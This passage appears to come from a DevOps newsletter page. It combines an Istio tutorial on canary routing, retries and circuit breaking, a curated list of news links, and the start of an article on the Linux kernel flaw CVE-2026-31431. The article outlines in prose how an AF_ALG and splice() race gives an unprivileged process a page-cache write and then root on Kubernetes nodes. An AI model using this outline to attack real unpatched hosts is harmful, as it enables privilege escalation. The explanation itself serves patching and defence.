done | sort | uniq -c

Expected output for a 90/10 split over 20 requests:

     18 v1
      2 v2

The split is statistical, not exact. Don't expect 9 out of 10 every single time. Over a few thousand requests it converges.

To shift to 50/50, just edit the weights and re-apply. No pod restarts. No DNS changes. The Envoy sidecars pick up the new config in a few seconds.

Routing by Header

Weighted splits are great for percentage rollouts. But sometimes you want only specific users (your QA team, your own account) to hit v2. Match on a header:

apiVersion: networking.istio.io/v1
kind: VirtualService
metadata:
  name: reviews
spec:
  hosts:
    - reviews
  http:
    - match:
        - headers:
            x-user-tier:
              exact: internal
      route:
        - destination:
            host: reviews
            subset: v2
    - route:
        - destination:
            host: reviews
            subset: v1

The order matters. Istio evaluates rules top to bottom and uses the first match. Put the specific header rule first; the catch-all default goes last.

Retries: Stop Writing Retry Code in Every Service

Every team writes the same broken retry loop. Three retries, fixed backoff, no jitter, retries on POST, retries on 4xx errors. Then the downstream service has a brief blip and gets hit with a thundering herd.

Push retries into Istio. One config, applied to every call out of the mesh, with backoff and proper status code matching.

apiVersion: networking.istio.io/v1
kind: VirtualService
metadata:
  name: reviews
spec:
  hosts:
    - reviews
  http:
    - route:
        - destination:
            host: reviews
            subset: v1
      retries:
        attempts: 3
        perTryTimeout: 2s
        retryOn: gateway-error,connect-failure,refused-stream

Some details that matter:

• attempts: 3 is the number of retries, not total tries. So up to 4 requests in the worst case.
• perTryTimeout is per attempt. Total time can be attempts * perTryTimeout plus backoff.
• retryOn controls which failures trigger a retry. The default includes some surprises. Be explicit.

The values you almost always want in retryOn:

• gateway-error — 502, 503, 504
• connect-failure — TCP connect failed
• refused-stream — HTTP/2 stream was refused (usually from overload)

Things you almost never want to retry:

• 4xx client errors (except 429)
• POST/PUT/DELETE without idempotency keys

To test retries are firing, point your VirtualService at httpbin and force a 503:

kubectl exec deploy/curl -- curl -s -o /dev/null -w "%{http_code}\n" \
  httpbin:8000/status/503

Then check the upstream stats from the sidecar:

kubectl exec deploy/curl -c istio-proxy -- \
  pilot-agent request GET stats | grep retry

You should see counters like:

cluster.outbound|8000||httpbin.default.svc.cluster.local.upstream_rq_retry: 3
cluster.outbound|8000||httpbin.default.svc.cluster.local.upstream_rq_retry_success: 0

Three retries fired, zero succeeded. That tells you retries are configured correctly even though the test endpoint always fails.

A Word on Retry Budgets

Retries multiply load. If your service does 1000 RPS and every call retries 3 times on failure, a 50% failure rate means 2500 RPS hitting the downstream. That's how outages get worse instead of better.

Istio doesn't have a global retry budget like Linkerd does. The mitigation is: keep attempts low (2 or 3, not 10), use perTryTimeout aggressively, and pair retries with circuit breaking so a sick host gets ejected before retries hammer it.

Circuit Breaking with Outlier Detection

Circuit breaking in Istio is two things working together: connection pool limits and outlier detection. The pool limits cap how many requests you'll send. Outlier detection ejects misbehaving hosts.

Here's a realistic config for a backend service:

apiVersion: networking.istio.io/v1
kind: DestinationRule
metadata:
  name: payments
spec:
  host: payments
  trafficPolicy:
    connectionPool:
      tcp:
        maxConnections: 100
      http:
        http2MaxRequests: 1000
        maxRequestsPerConnection: 10
        maxRetries: 3
    outlierDetection:
      consecutive5xxErrors: 5
      interval: 30s
      baseEjectionTime: 30s
      maxEjectionPercent: 50

What this does:

• maxConnections / http2MaxRequests — caps the in-flight request count. Once exceeded, new requests fail fast with a 503. This is the actual "circuit" being broken.
• consecutive5xxErrors: 5 — a host that returns five 5xx responses in a row gets ejected.
• interval: 30s — how often Istio scans for unhealthy hosts.
• baseEjectionTime: 30s — how long the host stays ejected. Doubles on repeat offenses.
• maxEjectionPercent: 50 — never eject more than half the hosts. Otherwise you can take the whole pool offline and have nothing left to serve traffic.

That last one is the safety valve. Without it, a regional outage of a downstream dependency can cause Istio to eject every backend pod, leaving you with zero capacity even when the dependency recovers.

To see ejections happening, watch the sidecar stats:

kubectl exec deploy/curl -c istio-proxy -- \
  pilot-agent request GET clusters | grep payments | grep ejected

When a pod gets ejected you'll see something like:

outbound|8080||payments.default.svc.cluster.local::10.244.1.42:8080::cx_active::0
outbound|8080||payments.default.svc.cluster.local::10.244.1.42:8080::ejected::true

That ejected::true line is what you want to see when a backend is misbehaving. Traffic stops going to it. Other healthy pods absorb the load. The pod gets re-checked after baseEjectionTime.

Combining Them: A Realistic Production Config

Here's what the full setup looks like for a service that does canary deploys, retries on transient errors, and trips a breaker on bad hosts.

apiVersion: networking.istio.io/v1
kind: DestinationRule
metadata:
  name: payments
spec:
  host: payments
  trafficPolicy:
    connectionPool:
      tcp:
        maxConnections: 100
      http:
        http2MaxRequests: 500
        maxRequestsPerConnection: 10
    outlierDetection:
      consecutive5xxErrors: 5
      interval: 30s
      baseEjectionTime: 30s
      maxEjectionPercent: 50
  subsets:
    - name: v1
      labels:
        version: v1
    - name: v2
      labels:
        version: v2
---
apiVersion: networking.istio.io/v1
kind: VirtualService
metadata:
  name: payments
spec:
  hosts:
    - payments
  http:
    - route:
        - destination:
            host: payments
            subset: v1
          weight: 95
        - destination:
            host: payments
            subset: v2
          weight: 5
      retries:
        attempts: 2
        perTryTimeout: 3s
        retryOn: gateway-error,connect-failure,refused-stream
      timeout: 10s

Note the top-level timeout: 10s. That's the total timeout for the whole request including all retries. Without it, a service hitting perTryTimeout and retrying twice could hold a connection open for 9+ seconds, which is usually worse than just failing fast.

Debugging When Things Don't Work

The single most useful command when an Istio policy isn't behaving:

istioctl proxy-config route deploy/curl -o json | less

This shows you the actual route config Envoy is using, not what you think it is. If your VirtualService isn't taking effect, the route here will not match what you wrote.

Other commands worth knowing:

istioctl analyze
istioctl proxy-config cluster deploy/curl
istioctl proxy-config endpoints deploy/curl

istioctl analyze catches the obvious mistakes: subset references with no matching pods, conflicting VirtualServices, missing namespaces. Run it before you kubectl apply.

If a VirtualService just won't apply, check for naming conflicts. Two VirtualServices targeting the same host in the same namespace will fight, and Istio picks one in an order you cannot predict.

Next Steps

• Add istioctl analyze to your CI pipeline so bad mesh configs fail before merge
• Set up a Grafana dashboard with the standard Istio mesh dashboard JSON to see retry and ejection rates per service
• Pick one production service this week and add a DestinationRule with outlierDetection. Even without changing routes, this alone catches a class of failures you currently miss
• For canary work, look at Flagger or Argo Rollouts. They drive Istio VirtualService weights automatically based on metrics, so you don't shift traffic by hand
• If you find yourself writing the same DestinationRule for every service, move the defaults into a mesh-wide config under meshConfig.defaultConfig and only override per-service when needed

📌 Handpicked by DevOps Daily - Your weekly dose of curated DevOps news and updates!

⚓ Kubernetes

📄 Kubernetes v1.36: Pod-Level Resource Managers (Alpha)

Kubernetes v1.36 introduces Pod-Level Resource Managers as an alpha feature, bringing a more flexible and powerful resource management model to performance-sensitive workloads. This enhancement extend

📅 May 1, 2026 • 📰 Kubernetes Blog

🔗 Read more

📄 Simplify hybrid Kubernetes networking with Amazon EKS Hybrid Nodes gateway

We are excited to announce the general availability of the Amazon EKS Hybrid Nodes gateway, a new feature for Amazon EKS that simplifies hybrid Kubernetes networking for Amazon EKS Hybrid Nodes. In th

📅 May 1, 2026 • 📰 AWS Containers Blog

🔗 Read more

📄 AI sandboxing is having its Kubernetes moment

Recently, Anthropic announced that its new model, Mythos, had autonomously found and exploited zero-day vulnerabilities in every major operating system and web browser – including a 27-year-old bug th

📅 Apr 30, 2026 • 📰 CNCF Blog

🔗 Read more

📄 Kubernetes v1.36: In-Place Vertical Scaling for Pod-Level Resources Graduates to Beta

Following the graduation of Pod-Level Resources to Beta in v1.34 and the General Availability (GA) of In-Place Pod Vertical Scaling in v1.35, the Kubernetes community is thrilled to announce that In-P

📅 Apr 30, 2026 • 📰 Kubernetes Blog

🔗 Read more

📄 From Security Blocked to Prod Ready: ClickHouse on Docker Hardened Images

In November 2025, a team self-hosting Langfuse, an open-source LLM observability platform, on Kubernetes uploaded their ClickHouse image to AWS ECR as part of their production preparation. They found

📅 Apr 30, 2026 • 📰 Docker Blog

🔗 Read more

📄 New Relic eBPF Expands Kernel-Level Observability

New Relic eBPF extends observability beyond Kubernetes with kernel-level visibility across application, infrastructure, and network layers without instrumentation.

📅 Apr 30, 2026 • 📰 New Relic Blog

🔗 Read more

📄 The Path to Data Sovereignty: CYBERTEC and SUSE Unite for Open Source

SUSE and CYBERTEC PostgreSQL International are proud to announce a strategic partnership aimed at modernizing data solutions and infrastructure. This partnership unites two important players in the op

📅 Apr 30, 2026 • 📰 SUSE Blog

🔗 Read more

📄 Designing multitenant GPU infrastructure: Isolation across virtualization and Kubernetes platforms

As AI workloads move from experimentation to production, enterprises are consolidating GPU infrastructure into shared platforms. However, organizations that take this road face several tradeoffs. For

📅 Apr 30, 2026 • 📰 Red Hat Blog

🔗 Read more

📄 Kubernetes v1.36: Tiered Memory Protection with Memory QoS

On behalf of SIG Node, we are pleased to announce updates to the Memory QoS feature (alpha) in Kubernetes v1.36. Memory QoS uses the cgroup v2 memory controller to give the kernel better guidance on h

📅 Apr 29, 2026 • 📰 Kubernetes Blog

🔗 Read more

📄 One New Zealand’s strategic shift to Red Hat OpenShift Virtualization

When Vodafone New Zealand separated from the Vodafone Group to become One New Zealand (One NZ), it faced an opportunity to go beyond a mere rebrand. Like many telecommunications providers, One NZ face

📅 Apr 29, 2026 • 📰 OpenShift Blog

🔗 Read more

📄 Kubernetes v1.36: Staleness Mitigation and Observability for Controllers

Staleness in Kubernetes controllers is a problem that affects many controllers, and is something may affect controller behavior in subtle ways. It is usually not until it is too late, when a controlle

📅 Apr 28, 2026 • 📰 Kubernetes Blog

🔗 Read more

📄 Kubernetes application monitoring: Tools & tips for faster incident resolution

Compare Kubernetes application monitoring tools and learn key features, implementation strategies, and best practices to reduce MTTR and improve reliability.

📅 Apr 28, 2026 • 📰 New Relic Blog

🔗 Read more

☁️ Cloud Native

📄 A Virtual Agent team at Docker: How the Coding Agent Sandboxes team uses a fleet of agents to ship faster

I work on Coding Agent Sandboxes, aka “sbx” at Docker. The project provides secure, microVM-based isolation for running AI coding agents like Claude Code, Gemini, Codex, Docker Agent and Kiro. Agents

📅 May 1, 2026 • 📰 Docker Blog

🔗 Read more

📄 The state of AI in CNCF projects: A first look at the data

At CNCF TAG Developer Experience, we recently set out to understand how Artificial Intelligence is shaping open-source development. The response from the community has been impressive in its scale, wi

📅 Apr 29, 2026 • 📰 CNCF Blog

🔗 Read more

📄 Zabbix and the Docker API, Part 2: Adapt

In this blog post, I will show you how to create a template for monitoring your Docker server with only API calls (without the Zabbix agent 2). Instead of creating a template, templated items, LLD rul

📅 Apr 29, 2026 • 📰 Zabbix Blog

🔗 Read more

📄 OpenTelemetry Japanese Community Survey

This report presents findings from the OpenTelemetry Japanese Community Survey, conducted to understand the current landscape of OTel awareness, adoption, and community engagement among developers and

📅 Apr 28, 2026 • 📰 OpenTelemetry Blog

🔗 Read more

🔄 CI/CD

📄 Securing GitHub Actions CI dependencies: Recipe card

Recipe GitHub Actions CI dependencies Target audience (the chef) Project maintainers and developers who need practical, concrete steps to efficiently secure CI dependencies within their GitHub Actions

📅 May 4, 2026 • 📰 CNCF Blog

🔗 Read more

📄 Cursor’s New SDK Turns AI Coding Agents Into Deployable Infrastructure

Cursor's TypeScript SDK lets teams invoke AI coding agents programmatically from CI/CD pipelines, with sandboxed VMs, MCP support, and token-based pricing.

📅 May 4, 2026 • 📰 DevOps.com

🔗 Read more

📄 70+ Features for Faster, Safer Software Delivery

Harness released over 70 new features in April 2026, focused on solving challenges in AI-generated code and software delivery. Key updates include AI-generated incident post-mortems, deeper CI/CD inte

📅 May 1, 2026 • 📰 Harness Blog

🔗 Read more

📄 Amazon Q Developer end-of-support announcement

When we launched Amazon Q Developer, our goal was to bring AI assistance directly into the developer workflow. Customers adopted Q Developer across VS Code, JetBrains, Eclipse, and Visual Studio, usin

📅 Apr 30, 2026 • 📰 AWS DevOps Blog

🔗 Read more

📄 GitHub Copilot CLI for Beginners: Interactive v. non-interactive mode

Learn the difference between CLI interactive v. non-interactive modes. The post GitHub Copilot CLI for Beginners: Interactive v. non-interactive mode appeared first on The GitHub Blog.

📅 Apr 30, 2026 • 📰 GitHub Blog

🔗 Read more

📄 Build an automated detection testing framework with GitLab CI/CD and Duo

When it comes to managing a healthy alerting system for your security operations center (SOC), tuning false positives is only half the battle. An often overlooked aspect of a healthy alerting system i

📅 Apr 30, 2026 • 📰 GitLab Blog

🔗 Read more

📄 Harness Launches Cursor Plugin for AI Software Delivery

The new Harness Cursor Plugin brings AI-native software delivery directly into Cursor, letting developers trigger pipelines, manage deployments, debug failures, and enforce governance using natural la

📅 Apr 30, 2026 • 📰 Harness Blog

🔗 Read more

📄 AI writes the code. Who delivers it safely?

Enterprise AI in 2026 is defined by the harness around the model. For software delivery, that means governed execution, live context, policy enforcement, and verifiable actions. The model provides int

📅 Apr 30, 2026 • 📰 Harness Blog

🔗 Read more

📄 Teaching software development the easy way using GitLab

For instructors teaching software development, one of the biggest logistical challenges is assignment distribution and feedback at scale. How do you give large groups of students access to course mate

📅 Apr 29, 2026 • 📰 GitLab Blog

🔗 Read more

📄 GitLab Patch Release: 18.11.2, 18.10.5

Learn about this release for GitLab Community Edition and Enterprise Edition.

📅 Apr 29, 2026 • 📰 GitLab Blog

🔗 Read more

📄 GitHub for Beginners: Getting started with Markdown

Discover how to format and edit your comments and posts using Markdown. The post GitHub for Beginners: Getting started with Markdown appeared first on The GitHub Blog.

📅 Apr 28, 2026 • 📰 GitHub Blog

🔗 Read more

📄 An update on GitHub availability

Here’s what we’ve done—and what we’re still doing—to improve our availability and reliability. The post An update on GitHub availability appeared first on The GitHub Blog.

📅 Apr 28, 2026 • 📰 GitHub Blog

🔗 Read more

🏗️ IaC

📄 The definitive automation guide to Red Hat Summit 2026: Must-attend Red Hat Ansible Automation Platform sessions, talks, and labs

Every organization faces the same pressures: do more with less, move faster, and reduce risk while preparing for an AI-powered future. In this environment, automation is no longer optional—it’s the fo

📅 Apr 29, 2026 • 📰 Red Hat Blog

🔗 Read more

📊 Observability

📄 pgagroal 2.1

The pgagroal community is happy to announce version 2.1.0. New features New vault security (migration needed) Health check Improve failover support Prometheus web console and a lot of enhancements and

📅 May 2, 2026 • 📰 PostgreSQL News

🔗 Read more

📄 pgexporter 0.8

The pgexporter community is happy to announce version 0.8.0. New Features New vault security (migration needed) A lot of new metrics - including for PostgreSQL 18 Use Grafana 12 Initial alert subsyste

📅 May 2, 2026 • 📰 PostgreSQL News

🔗 Read more

📄 The Velocity Trap: Why Shipping Faster Is Making Systems Worse

There is a particular flavour of engineering dysfunction that looks, from the outside, like peak performance. Deployments are frequent. Sprint velocity is high. The feature backlog is shrinking. Leade

📅 May 1, 2026 • 📰 DevOps.com

🔗 Read more

📄 Faster fixes, less context sharing: how Grafana Assistant learns your infrastructure before you even ask

When an unexpected alert fires these days, most engineers' first move is to ask their AI assistant for help.You ask why your checkout service is slow and the assistant gets to work, but it can't get a

📅 Apr 30, 2026 • 📰 Grafana Blog

🔗 Read more

📄 Introducing the Ecosystem Explorer Project

OpenTelemetry is vast. The Java agent alone includes over 240 different auto-instrumentations. The Collector has hundreds of components. Python, JavaScript, Go, and .NET each have their own ecosystems

📅 Apr 30, 2026 • 📰 OpenTelemetry Blog

🔗 Read more

📄 Escaping the "Snowflake Tax": How we cut data costs by over 50% at New Relic

Learn how New Relic used observability to safely migrate 1,000+ datasets from Snowflake to Iceberg, cutting costs by 50% without sacrificing reliability.

📅 Apr 29, 2026 • 📰 New Relic Blog

🔗 Read more

📄 3 Signals from NAB Show 2026 and What Intelligent Observability Delivers

M&E leaders converged at NAB Show 2026. Here's what the signals say about AI, streaming operations, and what New Relic Intelligent Observability delivers.

📅 Apr 29, 2026 • 📰 New Relic Blog

🔗 Read more

📄 Two commands to Sentry: now on Stripe Projects

Sentry is now a provider in Stripe Projects. Provision error monitoring, upgrade plans, and open your dashboard from the CLI or from your coding agent.

📅 Apr 29, 2026 • 📰 Sentry Blog

🔗 Read more

📄 Sentry's integration with Perforce is now generally available

Sentry's Perforce P4 integration is now GA, bringing stack trace linking, suspect commits, and on-demand source context to game dev and VFX teams.

📅 Apr 29, 2026 • 📰 Sentry Blog

🔗 Read more

📄 Get observability in the terminal, for you and your agents, with the gcx CLI tool

The way you write code is changing, which means the way you observe your systems and respond to issues needs to change, too. Engineers today spend much of their day working via command line, as agenti

📅 Apr 28, 2026 • 📰 Grafana Blog

🔗 Read more

📄 Secure performance testing at scale: Introducing secrets management for Grafana Cloud k6

To simulate real user behavior, performance tests often rely on API keys, tokens, or credentials to interact with real systems. But as your testing suite grows, this sensitive data can start to sprawl

📅 Apr 28, 2026 • 📰 Grafana Blog

🔗 Read more

📄 Introducing Seer Agent: The answer is already in Sentry. Now you can ask for it.

Most AI debugging tools start from whatever you paste in. Seer Agent starts from everything Sentry already knows about your app. Now in open beta.

📅 Apr 28, 2026 • 📰 Sentry Blog

🔗 Read more

🔐 Security

📄 Threats Making WAVs - Incident Response to a Cryptomining Attack

Guardicore security researchers describe and uncover a full analysis of a cryptomining attack, which hid a cryptominer inside WAV files. The report includes the full attack vectors, from detection, in

📅 May 4, 2026 • 📰 Linode Blog

🔗 Read more

📄 pgmoneta 0.21

The pgmoneta community is happy to announce version 0.21.0. New features New vault security (migration needed) Improvements to S3 storage engine Improvements to the pgmoneta-walinfo interactive mode S

📅 May 2, 2026 • 📰 PostgreSQL News

🔗 Read more

📄 Amazon Bedrock AgentCore is now available in the South America (São Paulo) Region

Amazon Bedrock AgentCore is now available in the AWS South America (São Paulo) Region. Amazon Bedrock AgentCore is the platform to build, connect, and optimize agents. It helps engineers ship agents f

📅 May 1, 2026 • 📰 CloudFormation Updates

🔗 Read more

📄 FreeRTOS 202604 LTS now available with enhanced security and MQTT v5.0

FreeRTOS 202604 LTS, a new Long Term Support release of the open-source real-time operating system for embedded devices, is now available. This release provides embedded systems developers and Interne

📅 May 1, 2026 • 📰 CloudFormation Updates

🔗 Read more

📄 Anthropic Brings AI-Powered Security Scanning to Enterprise Teams With Claude Security

Anthropic's Claude Security is now in public beta for Enterprise customers, offering AI-powered codebase scanning and patch generation for security teams.

📅 May 1, 2026 • 📰 DevOps.com

🔗 Read more

📄 Fixes available for CVE-2026-31431 (Copy Fail) Linux Kernel Local Privilege Escalation Vulnerability

A local privilege escalation (LPE) vulnerability affecting the Linux kernel has been publicly disclosed on April 29, 2026. The vulnerability has been assigned CVE ID CVE-2026-31431 and is referred to

📅 Apr 30, 2026 • 📰 Ubuntu Blog

🔗 Read more

📄 Cloud CISO Perspectives: At Next ‘26, why we’re multicloud and multi-AI

Welcome to the second Cloud CISO Perspectives for April 2026. Today, Francis deSouza, COO Google Cloud and President, Security Products, explains why Google is multicloud and multi-AI, straight from N

📅 Apr 30, 2026 • 📰 Google Cloud Blog

🔗 Read more

📄 Addressing copy.fail in SUSE Virtualization

Copy Fail (tracked as CVE-2026-31431) is a critical vulnerability in the Linux kernel that allows a local non-root user to gain full root access to the system. It is considered extremely dangerous bec

📅 Apr 30, 2026 • 📰 SUSE Blog

🔗 Read more

📄 SUSE responds to the copy.fail vulnerability

Copy Fail (tracked as CVE-2026-31431) is a critical vulnerability in the Linux kernel that allows a local non-root user to gain full root access to the system. It is considered extremely dangerous bec

📅 Apr 30, 2026 • 📰 SUSE Blog

🔗 Read more

📄 lightning PyPI Compromise: A Bun-Based Credential Stealer in Python

A malicious release of the lightning PyPI package ships a credential-stealing Bun payload that runs on import. Snyk has a live advisory. Here's what's in the package, what to rotate, and how the paylo

📅 Apr 30, 2026 • 📰 Snyk Blog

🔗 Read more

📄 NATS Server 2.14 Release

When we released NATS Server 2.12 back in September, we reflected on the need for shorter and more routine release cycles. While we slipped slightly beyond the intended six months due to increased act

📅 Apr 30, 2026 • 📰 NATS Blog

🔗 Read more

📄 The founder’s AI foundation: The top announcements for startups from Next ‘26

The momentum is undeniable: the world’s fastest-growing AI startups are building with Google Cloud. Instead of stitching together fragmented point solutions, founders are building their businesses her

📅 Apr 29, 2026 • 📰 Google Cloud Blog

🔗 Read more

💾 Databases

📄 PgQue v0.1 - Zero-bloat Postgres queue

PgQue v0.1 has been released. PgQue is a zero-bloat Postgres event/message queue implemented in pure SQL and PL/pgSQL. It brings the PgQ architecture, originally developed at Skype, to modern Postgres

📅 May 2, 2026 • 📰 PostgreSQL News

🔗 Read more

📄 How We Built mem9: Lessons From Shipping Persistent Memory for AI Agents

In early March 2026, a customer asked us for something that sounded simple and turned out to be one of the hardest problems in the agent stack: Make agents remember. We did not start with a polished r

📅 May 1, 2026 • 📰 TiDB Blog

🔗 Read more

📄 ScyllaDB Vector Search Benchmark: 10M Vectors on a Compact Cluster

Even a small, compact setup achieved up to 12,840 QPS at k=10 with a serial P99 latency of 5.5 ms

📅 May 1, 2026 • 📰 ScyllaDB Blog

🔗 Read more

📄 When AI Agent Memory Outgrows SQLite: How to Tell, and What to Move to Next

Coding agents now run for hours, span multiple tools, and move between machines and sessions. However, the agent memory layer underneath them has not kept up. Most still look the way they did in the f

📅 Apr 30, 2026 • 📰 TiDB Blog

🔗 Read more

📄 ScyllaDB X Cloud: Your Questions Answered

A technical FAQ on ScyllaDB X Cloud: architecture, autoscaling, compression, use cases, and more It’s been a few months since ScyllaDB X Cloud landed. In case you missed the news, here’s a quick recap

📅 Apr 30, 2026 • 📰 ScyllaDB Blog

🔗 Read more

📄 Active-Active vs Active-Passive database architecture

Your database is down. Users are hitting errors, revenue is bleeding, and the on-call engineer is staring at a promotion sequence that's taking too long. The architecture decision you made six months

📅 Apr 29, 2026 • 📰 Redis Blog

🔗 Read more

📄 Your AI wants to nuke your database. Guardrails fix that.

An AI agent deleted a customer's production database on Railway. Here's what happened, what we've shipped to fix it, and the surfaces we're building so agents can move fast on Railway without breaking

📅 Apr 29, 2026 • 📰 Railway Blog

🔗 Read more

📄 6 Reasons ScyllaDB Costs a Fraction of DynamoDB

Why teams typically experience 50% (or greater) cost reductions when moving from DynamoDB to ScyllaDB

📅 Apr 28, 2026 • 📰 ScyllaDB Blog

🔗 Read more

📄 10 Reasons Cloud Migrations Fail and Key Strategies to Increase Success

Cloud migration failures stem largely from misaligned strategies and outdated database architectures. Distributed SQL databases offer a path forward, combining the familiarity of SQL with horizontal s

📅 Apr 28, 2026 • 📰 Yugabyte Blog

🔗 Read more

📄 AI Agents vs Workflows: When to Use Each

Everyone building with LLMs right now is bumping into the same question: should you wire up a predictable, step-by-step workflow, or let an AI agent figure things out on its own? The answer shapes you

📅 Apr 28, 2026 • 📰 Redis Blog

🔗 Read more

📄 Prefill vs Decode: LLM Inference Phases Explained

Every LLM request runs in two distinct phases: prefill, where the model reads your prompt in one parallel burst, and decode, where it generates the response one token at a time, each one depending on

📅 Apr 28, 2026 • 📰 Redis Blog

🔗 Read more

📄 Long-Term Memory Architectures for AI Agents

Most AI agents start every session from scratch. Without persistent memory, they're stateless responders that reprocess context on every invocation and can't build continuity across interactions. Long

📅 Apr 28, 2026 • 📰 Redis Blog

🔗 Read more

🌐 Platforms

📄 Keep Your Tech Flame Alive: Trailblazer Rachel Bayley

In this Akamai FLAME Trailblazer blog post, Rachel Bayley encourages women to step into the unknown and to be their authentic selves.

📅 May 4, 2026 • 📰 Linode Blog

🔗 Read more

📄 The Oracle of Delphi Will Steal Your Credentials

Our deception technology is able to reroute attackers into honeypots, where they believe that they found their real target. The attacks brute forced passwords for RDP credentials to connect to the vic

📅 May 4, 2026 • 📰 Linode Blog

🔗 Read more

📄 The Nansh0u Campaign – Hackers Arsenal Grows Stronger

In the beginning of April, three attacks detected in the Guardicore Global Sensor Network (GGSN) caught our attention. All three had source IP addresses originating in South-Africa and hosted by Volum

📅 May 4, 2026 • 📰 Linode Blog

🔗 Read more

📄 Code Orange: Fail Small is complete. The result is a stronger Cloudflare network

We have completed a massive engineering effort to make our infrastructure more resilient. Through new tools like Snapstone and the Engineering Codex, we've implemented safer configuration changes and

📅 May 1, 2026 • 📰 Cloudflare Blog

🔗 Read more

📄 OpenSearch UI supports cross-region data access to OpenSearch domains

Amazon OpenSearch Service now supports cross-region data access for OpenSearch UI, enabling users to access OpenSearch domains hosted in different AWS Regions from within a single OpenSearch UI applic

📅 May 1, 2026 • 📰 CloudFormation Updates

🔗 Read more

📄 Amazon CloudFront Announces WebSocket Support for VPC Origins

Amazon CloudFront now supports WebSockets traffic through Virtual Private Cloud (VPC) origins, enabling you to use CloudFront as the single entry point for real-time applications hosted entirely in pr

📅 May 1, 2026 • 📰 CloudFormation Updates

🔗 Read more

📄 What’s new with Google Cloud

Want to know the latest from Google Cloud? Find it here in one handy location. Check back regularly for our newest updates, announcements, resources, events, learning opportunities, and more. Tip: Not

📅 May 1, 2026 • 📰 Google Cloud Blog

🔗 Read more

📄 Introducing Dynamic Workflows: durable execution that follows the tenant

Dynamic Workflows is a library that lets you route durable execution to tenant-provided code on the fly. Built on Dynamic Workers, it enables platforms to serve millions of unique workflows at near-ze

📅 May 1, 2026 • 📰 Cloudflare Blog

🔗 Read more

📄 Unlocking sovereign AI and protected collaboration with confidential computing

There is a fundamental tension between using AI and the cloud while adhering to strict privacy mandates like digital sovereignty and sovereign AI. Encryption of data at rest and in transit is increasi

📅 May 1, 2026 • 📰 OpenShift Blog

🔗 Read more

📄 Google Cloud Next ’26 Recap

Key takeaways from Google Cloud Next '26: AI is operationalizing across the SDLC, driving platform consolidation away from fragmented tools, and accelerating the shift toward efficient, frictionless s

📅 May 1, 2026 • 📰 Harness Blog

🔗 Read more

📄 What Google Cloud announced in AI this month

Editor’s note: Want to keep up with the latest from Google Cloud? Check back here for a monthly recap of our latest updates, announcements, resources, events, learning opportunities, and more. We host

📅 Apr 30, 2026 • 📰 Google Cloud Blog

🔗 Read more

📄 Post-quantum encryption for Cloudflare IPsec is generally available

Cloudflare IPsec now has generally available support for post-quantum encryption via hybrid ML-KEM. We’ve confirmed interoperability with Cisco and Fortinet.

📅 Apr 30, 2026 • 📰 Cloudflare Blog

🔗 Read more

📰 Misc

📄 Visual Studio Code 1.119

Learn what's new in Visual Studio Code 1.119 (Insiders) Read the full article

📅 May 6, 2026 • 📰 VS Code Blog

🔗 Read more

📄 PyTorch vs. TensorFlow: Choosing the Right Framework in 2026

Choosing between PyTorch and TensorFlow isn’t about finding the “better” framework – it’s about finding the right fit for your project. Both power cutting-edge AI systems, but they excel in different

📅 May 4, 2026 • 📰 JetBrains Blog

🔗 Read more

📄 Teaching an AI Agent to Debug Flaky Tests

If you’ve been connected to the internet for a while, you’ve surely heard of AI Agent Skills. They teach your agent to do this and that. You might have even used or written a couple of them yourself.

📅 May 4, 2026 • 📰 JetBrains Blog

🔗 Read more

📄 Kodee’s Kotlin Roundup: Golden Kodee Finalists, Kotlin 2.4.0-Beta2, and New Learning Resources

Hi everyone! April brought exciting community news with the announcement of the Golden Kodee finalists, along with Kotlin and tooling releases, multiplatform progress, and fresh backend resources. I a

📅 May 4, 2026 • 📰 JetBrains Blog

🔗 Read more

📄 How to use Ubuntu on Windows

Why run Ubuntu on Windows? It’s about getting the best of both worlds.

📅 May 4, 2026 • 📰 Ubuntu Blog

🔗 Read more

📄 “To us, it’s just a tool”: How SAS is selling AI to the Fortune 500

For this 50-year-old company, AI is “just a tool.” At SAS Innovate 2026 in Grapevine, Texas, the 50-year-old, privately held The post “To us, it’s just a tool”: How SAS is selling AI to the Fortune 50

📅 May 3, 2026 • 📰 The New Stack

🔗 Read more

📄 Mainframe modernization is no longer optional for the AI-driven enterprise

As old-guard mainframers give way to a younger generation of mainframe professionals, this new cadre brings modern ways of thinking The post Mainframe modernization is no longer optional for the AI-dr

📅 May 3, 2026 • 📰 The New Stack

🔗 Read more

📄 Most AI coding is “like taking your Ferrari to buy milk”: IBM’s Neel Sundaresan

Neel Sundaresan doesn’t answer three questions. One of them, he says with some amusement, is why IBM Bob is named The post Most AI coding is “like taking your Ferrari to buy milk”: IBM’s Neel Sundares

📅 May 3, 2026 • 📰 The New Stack

🔗 Read more

📄 Inside OpenSearch’s bid to become the default AI data layer

Most of the engineering teams I work with started with open source OpenSearch for log analytics and enterprise search. But The post Inside OpenSearch’s bid to become the default AI data layer appeared

📅 May 2, 2026 • 📰 The New Stack

🔗 Read more

📄 The Trust Problem With AI Agents in Production Pipelines

AI agents boost DevOps pipelines, but confident failures create risk. Here’s how to design for calibrated trust and human oversight.

📅 May 1, 2026 • 📰 DevOps.com

🔗 Read more

📄 JetBrains Academy – April Digest

Hey! April brought many good reasons to open your IDE. Learn about a new DeepLearning.AI collab on spec-driven development, a beginner-friendly full-stack chat app course, a Kotlin certificate you can

📅 May 1, 2026 • 📰 JetBrains Blog

🔗 Read more

📄 Friday Five — May 1, 2026

TechCrunch - Red Hat’s OpenClaw maintainer just made enterprise Claw deployments a lot saferRed Hat’s Sally O’Malley released Tank OS, an open-source tool simplifying safe OpenClaw agent deployment. A

📅 May 1, 2026 • 📰 Red Hat Blog

🔗 Read more

Disclosure landed on May 1, 2026. The PoC is on GitHub. The page-cache trick that turns a 4-byte write into root execution depends on a property every Kubernetes node has by default, which means most clusters running unpatched kernels are exposed today.

Here is what is going on and what to do about it.

TLDR

What Happened

Xint disclosed CVE-2026-31431 on May 1, 2026 with a working proof of concept. The bug lives in an in-place optimization the Linux kernel added to its AEAD crypto path back in 2017, where the kernel reuses the source buffer as the destination during cryptographic operations to avoid an allocation.

The optimization is unsafe when it is driven by the userspace crypto API (AF_ALG sockets) and combined with the splice() syscall. By racing those two, an unprivileged process can persuade the kernel to perform a deterministic 4-byte write into the page cache of any file the process can read.

Four bytes does not sound like much. The trick is that the page cache is shared. Every container on a node that uses the same base image layer is reading from the same physical pages. So is the host. So is kube-proxy. So are the privileged DaemonSets on every other node that pulled the same image.

